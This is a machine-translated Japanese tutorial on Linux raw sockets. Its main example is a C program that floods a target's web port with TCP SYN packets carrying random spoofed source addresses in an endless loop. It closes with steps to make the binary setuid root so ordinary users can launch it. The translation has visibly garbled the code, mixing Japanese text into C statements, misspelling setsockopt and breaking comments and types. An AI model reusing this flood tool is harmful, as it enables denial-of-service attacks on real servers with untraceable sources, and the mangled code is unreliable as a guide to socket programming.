Windows system >> Windowsの知識 >  >> Linuxシステムチュートリアル >> Linuxチュートリアル >> Linuxネットワークプログラミング - オリジナルソケット

Linuxネットワークプログラミング - オリジナルソケット

  

Computer Shop News 1オリジナルソケットの作成int sockfd(AF_INET、SOCK_RAW、プロトコル)生のソケットを作成することができますプロトコルの種類に応じて、さまざまな種類を作成できます。元のソケットは、IPPROTO_ICMP、IPPROTO_TCP、IPPROTO_UDPなどです。詳細については、ソケットのマニュアルページを参照してください以下に、元のソケットの作成と使用方法を示すための例を示します。どういう意味ですか?ここで私たちはDOSを実装する小さなプログラムを書くでしょう。これはプログラムのソースコードです/******************* DOS.c ** *************** /#include< stdlib.h> #include< stdio.h> #include< errno.h> #include< string.h> #include < unistd.h> #include< netdb.h> #include< sys /socket.h> #include< netinet /in.h> #include< sys /types.h> #include< arpa /Inet.h> #define DESTPORT 80 /*攻撃するポート(WEB)* /#define LOCALPORT 8888 void send_tcp(int sock) Fd、struct sockaddr_in * addr); unsigned short check_sum(unsigned short * addr、int len); int main(int argc、char ** argv); int sockfd; struct sockaddr_in addr; struct hostent * host; int on = 1; (argc!= 2){fprintf(stderr、"使用法:%sホスト名\\ n \\ a"、argv [0]); exit(1);} bzero(& addr、sizeof(struct sockaddr_in)); Addr.sin_family = AF_INET; addr.sin_port = htons(DESTPORT); if(inet_aton(argv [1]、& addr.sin_addr)== 0){host = gethostbyname(argv [1]); if(host ==) NULL){fprintf(stderr、 "HostName Error:%s \\ n \\ a"、hstrerror(h_errno)); exit(1);} addr.sin_addr = *(struct in_addr *)(host-> h_addr_list [0] TCP rawソケットを作成するにはIPPROTO_TCPを使用します**** /sockfd = socket(AF_INET、SOCK_RAW、IPPROTO_TCP); if(sockfd< 0){fprintf(stderr、" Socket Error) :%s \\ n \\ a"、strerror(errno)); exit(1);} /******** IPパケットフォーマットを設定し、システムカーネルモジュールにIPパケットを教えてください*** /groupsockopt(sockfd、IPPROTO_IP、IP_HDRINCL、& on、sizeof(on)); /****を入力します。元のソケットをスーパーケアユーザーだけに使用する方法はありません。 ***** /setuid(getpid()); /*********爆弾を送信する!!!! **** /send_tcp(sockfd、& addr);} /**** ***送信爆弾の実装********* /void send_tcp(int sockfd、struct sockaddr_in * addr){char buffer [100]; /****データパケットを配置するために使用されます*** * /struct ip * ip; struct tcphdr * tcp; int head_len; /*******このデータパッケージには実際には内容がないため、長さは2つの構造体の長さになります*** /head_len = sizeof(struct) Ip)+ sizeof(struct tcphdr); bzero(buffer、100); /******** IPパケットのヘッダを埋め、IPヘッダフォーマットを覚えていますか?****** /ip = (struct ip *)buffer; ip-> ip_v = IPVERSION; /**バージョンは通常4 ** /ip-> ip_hl = sizeof(struct ip)> 2; /** IPパケットヘッドの長さ** /ip-> ip_tos = 0; /**サービスタイプ** /ip-> ip_len = htons(head_len); /** IPパケットの長さ** /ip-> ip_id = 0; /**システムに記入させる** /ip-> ip_off = 0; /**上記と同じ、時間を節約する** /ip-> ip_ttl = MAXTTL; /**最長時間は255 ** /ip-> ip_p = IPPROTO_TCP; /** TCPパケットを送信しています** /ip-> ip_sum = 0; **チェックサムでシステムに実行させる** /ip-> ip_dst = addr-> sin_addr; /**攻撃したオブジェクト** //******* TCPパケットの入力を開始する*** ** /tcp =(struct tcphdr *)(buffer + sizeof(struct ip)); tcp-> source = htons(LOCALPORT); tcp-> dest = addr-> sin_port; /** destination port ** /tcp-> seq = random(); tcp-> ack_seq = 0; tcp-> doff = 5; tcp-> syn = 1; /**接続を確立したい** /tcp-> check = 0; /**わかりました、すべて準備ができていますサーバー、準備はできていますか^ ^ _ ^ ** /while(1){/**私の出身地がわからない、ゆっくりお待ちください!** /ip-> ip_src S_addr = random(); /**すべてがシステムによって行われていて、それほど意味があるわけではありません。自分で頭をチェックしましょう* //**以下はオプションです* /tcp-> Check = check_sum((unsigned short *)tcp、sizeof(struct tcphdr)); sendto(sockfd、buffer、head_len、0、addr、sizeof(struct sockaddr_in));}} /*以下は、最初のチェックサムのアルゴリズムです。 * /unsigned short check_sum(符号なしshort * addr、int len){レジスタint nleft = len;レジスタint * sum = 0;レジスタshort * w = addr;ショートアンサー= 0; while(nleft> 1){ Sum + = * w ++; nleft- = 2;} if(nleft == 1){*(unsigned char *)(& answer)= *(unsigned char *)w; sum + = answer;} sum =(sum>> (16)+(sum& 0xffff); sum + =(sum>> 16); answer =〜sum; return(answer);}コンパイルし、localhostを使用して結果を確認するための実験を行います。普通のユーザーがこのプログラムを実行するためには、このプログラムの所有者をrootに変更し、setuidビットを設定する必要があります[root @ hoyt /root] #chown root DOS [root @ hoyt /root] #chmod + s DOS 3まとめ生のソケットと通常のソケットの違いは、これまでシステムによって行われていたことの多くがあります。私たちがTCPソケットを作成するとき、私たちはシステムに送信したいコンテンツを渡すことに対して唯一の責任があります。このモジュールは、データにTCPヘッダを追加してからIPヘッダを追加します送信されたので、ここで自分でヘッダを作成し、システムが送信するだけです。送信元IPアドレスなので、setsockopt関数を使用します。単にTCPデータを変更すれば、IPデータもシステムによって作成できます。<! - [endif] - >

Copyright © Windowsの知識 All Rights Reserved